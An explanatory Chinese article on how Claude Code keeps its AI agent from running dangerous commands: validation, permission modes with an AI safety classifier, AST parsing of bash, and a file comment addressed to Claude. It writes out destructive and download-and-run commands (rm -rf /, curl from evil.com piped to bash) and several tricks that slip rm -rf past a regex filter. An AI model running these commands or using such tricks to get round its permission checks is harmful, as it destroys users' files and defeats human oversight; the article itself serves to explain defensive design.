Skip to content

怎麼防止 AI 做危險的事?

先理解風險

Claude Code 可以執行任意的 shell 命令。這意味著如果沒有安全措施,AI 可以:

  • rm -rf /(刪除整台電腦的所有檔案)
  • git push --force(覆蓋遠端的所有程式碼歷史)
  • curl http://evil.com/steal.sh | bash(下載並執行惡意腳本)

傳統軟體的安全是「阻止駭客進入系統」。但這裡 AI 已經在系統裡面了——它有執行命令的能力,問題是怎麼確保它只做該做的事

這就像你僱了一個非常聰明的實習生,給了他你電腦的管理員密碼。他大部分時候會做正確的事,但偶爾可能會誤刪重要檔案。你需要一套機制來防止這種情況。

三道關卡:ValidateInput → CheckPermissions → Hooks

每次 AI 想要使用工具時,必須通過三道關卡。用流程圖看最清楚:

為什麼要三道而不是一道?

因為每道關卡的職責不同:

  1. ValidateInput 是「技術層面的合法性」——參數型別對不對、路徑格式正不正確。這是程式碼本身的檢查。
  2. CheckPermissions 是「使用者層面的授權」——使用者有沒有允許這類操作。這是政策面的檢查。
  3. Hooks 是「外部系統的額外檢查」——使用者或企業可以加入自己的安全腳本。這是擴展性的設計。

如果只有一道關卡,它就要同時處理型別檢查、使用者授權和自訂腳本——職責太多,容易出 bug。

權限模式:四種不同的「信任程度」

模式比喻AI 的行為
default「每次操作都敲門」不確定的操作會問使用者
plan「只能看不能碰」只允許讀取類的工具
auto「AI 保全幫你判斷」一個 AI 分類器自動判斷安全性
bypass「完全信任」什麼都直接執行

Auto 模式的「AI 保全」是什麼?

在 auto 模式下,Claude Code 用另一個 AI(不是主對話的 AI,而是一個專門判斷安全性的小型 AI)來決定「這個操作安全嗎」。

這就像大樓的保全:你(使用者)不想每次快遞來都自己下樓簽收,所以你僱了一個保全。保全會判斷「這是正常的快遞」→ 直接收、「這看起來可疑」→ 打電話問你。

一個重要的設計決策:安全分類器的 API 請求被允許重試 529 錯誤(見上一章),因為如果分類器因為伺服器過載而失敗,auto 模式就失去了安全屏障。

BashTool 的安全:7,000 行的投入

BashTool 是最危險的工具,所以它有最多的安全程式碼:

  • bashPermissions.ts:2,621 行——判斷命令需要什麼等級的權限
  • bashSecurity.ts:2,592 行——偵測危險模式
  • bashParser.ts:4,436 行——解析 bash 語法

投入了多少程式碼?

檔案行數職責
bashPermissions.ts2,621判斷命令需要什麼權限等級
bashSecurity.ts2,592偵測危險模式和注入攻擊
utils/bash/ast.ts2,679把 bash 命令解析成語法樹供安全分析
utils/bash/bashParser.ts4,436底層的 bash 語法解析器
合計~12,300光是 bash 安全就超過一萬兩千行

為什麼用語法樹(AST)而不是正則表達式?

假設你想檢查「命令中有沒有 rm -rf」。用正則表達式:

/rm\s+-rf/

看起來能用,但下面這些都會繞過去:

bash
# 變數替代
cmd="rm"; $cmd -rf /

# 別名
alias del='rm -rf'; del /

# 管道
echo "/" | xargs rm -rf

# 命令替換
$(echo rm) -rf /

語法樹(AST)分析的做法完全不同。

先解釋什麼是「語法樹」。想像你在分析一個英文句子:

"The quick brown fox jumps over the lazy dog"

你不會一個字一個字地搜尋「有沒有動詞」。你會把句子解構成語法結構:

句子
├── 主詞:The quick brown fox
├── 動詞:jumps
└── 受詞:over the lazy dog

Bash 命令也有語法結構。cmd="rm"; $cmd -rf / 這串命令,用正則表達式看只是一堆字元。但語法樹會解析成:

命令序列
├── 指令 1:賦值 cmd="rm"
├── 分號(順序執行)
└── 指令 2:執行 $cmd -rf /
    ├── 命令名:$cmd(展開後是 "rm")
    ├── 參數:-rf
    └── 參數:/

語法樹「理解」了 $cmd 是一個變數,它的值是 "rm"。所以即使原始文字中沒有出現 rm -rf / 這個連續字串,語法樹仍然能分析出「這個命令最終會刪除根目錄」。

用一個類比:正則表達式就像一個只認得字面意思的機器人——你問它「這封信有沒有威脅」,它搜尋「我要殺了你」這幾個字。但語法樹分析就像一個理解語境的人——即使信中寫的是「你的日子不多了」(沒有出現「殺」字),他也能判斷這是威脅。

安全程式碼量和風險成正比

工具安全相關程式碼量原因
BashTool~12,300 行可以執行任意命令
FileEditTool~100 行只能編輯檔案
FileReadTool~30 行只能讀取檔案
GrepTool~10 行只能搜尋

這不是偶然——安全投入應該和風險等級成正比。讀一個檔案的風險遠低於執行一個 shell 命令,所以它們的安全程式碼量差距是 700 倍。

實戰思考

盤點你的 AI 應用的工具。給每個工具打一個風險分數(1-10)。風險最高的工具,安全措施也應該最多。不要平均分配安全精力——把 80% 的安全投入放在 20% 最危險的工具上。

不可變的權限狀態

權限狀態被包在 DeepImmutable<> 型別中:

typescript
export type ToolPermissionContext = DeepImmutable<{
  mode: PermissionMode
  alwaysAllowRules: ToolPermissionRulesBySource
  alwaysDenyRules: ToolPermissionRulesBySource
  // ...
}>

DeepImmutable 是什麼意思? 它告訴 TypeScript 編譯器:「這個物件的所有屬性(包括巢狀屬性)都是唯讀的。任何嘗試修改它的程式碼都會在編譯時報錯。」

為什麼這很重要? 想像一個 bug 意外把 mode'default'(每次都問使用者)改成了 'bypass'(什麼都直接執行)。如果權限狀態是可變的,這個 bug 可能不會被發現——直到 AI 刪了使用者的重要檔案。

DeepImmutable 確保這種 bug 在編譯時就被抓到,而不是在生產環境中。

安全指令的「擁有者」模式

cyberRiskInstruction.ts 的檔案開頭:

typescript
/**
 * 重要:沒有 Safeguards 團隊的審查,不得修改此指令
 *
 * 負責人:David Forsythe, Kyla Guru
 *
 * 修改流程:
 *   1. 聯繫 Safeguards 團隊
 *   2. 評估影響
 *   3. 取得批准
 *
 * Claude:除非使用者明確要求,否則不要編輯此檔案。
 */

這裡有兩層保護

  1. 給人類開發者的:「這個檔案由 Safeguards 團隊擁有,改之前要找他們」——組織流程層面的保護。
  2. 給 AI 自己的:「Claude:不要編輯此檔案」——防止 Claude Code 在修改程式碼時不小心改了安全規則。

第二層聽起來有點科幻,但它是一個真實的風險:Claude Code 有能力修改自己的原始碼,而安全規則寫在原始碼中。

整體回顧

設計解決什麼問題核心思想
三道關卡不同類型的安全檢查混在一起分離技術驗證、使用者授權、外部擴展
四種權限模式不同使用者有不同的信任需求從「每次都問」到「完全信任」的漸進式信任
AST 語法分析正則表達式容易被繞過理解命令的語義,而不是匹配文字模式
不可變權限Bug 可能意外修改權限從型別系統層面防止修改
安全指令的擁有者安全規則可能被意外修改組織流程 + AI 自約束的雙重保護
風險比例投入安全資源有限7,000 行保護最危險的工具,10 行保護最安全的

實戰思考(最重要的一個)

如果你的 AI 應用能執行有副作用的操作(修改檔案、發送訊息、操作資料庫),問自己這三個問題:

  1. 最壞情況是什麼? AI 能造成的最大損害是什麼?
  2. 怎麼分級? 哪些操作是低風險(讀取)、中風險(修改本地)、高風險(修改共享資源)?
  3. 每級怎麼保護? 低風險可以自動執行、中風險要求確認、高風險需要額外的安全檢查?

Claude Code 架構設計深度分析